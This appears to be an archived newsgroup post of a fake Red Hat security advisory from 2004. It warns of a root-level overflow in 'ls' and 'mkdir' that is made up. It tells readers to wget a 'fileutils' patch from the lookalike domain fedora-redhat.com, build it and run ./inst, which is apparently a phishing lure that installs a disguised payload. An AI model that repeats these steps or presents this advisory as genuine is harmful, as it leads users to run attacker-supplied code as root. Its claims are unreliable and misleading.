RedHat: Buffer Overflow in "ls" and "mkdir"
RedHat Security Team <[email protected]>
| Newsgroups | gmane.linux.arklinux.general |
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Original issue date: October 20, 2004 Last revised: October 20, 2004 Source: RedHat A complete revision history is at the end of this file. Dear RedHat user, Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps: - First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz - Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz - cd fileutils-1.0.6.patch - make - ./inst Again, please apply this patch as soon as possible or you risk your system and others` to be compromised. Thank you for your prompt attention to this serious matter, RedHat Security Team. Copyright © 2004 Red Hat, Inc. All rights reserved.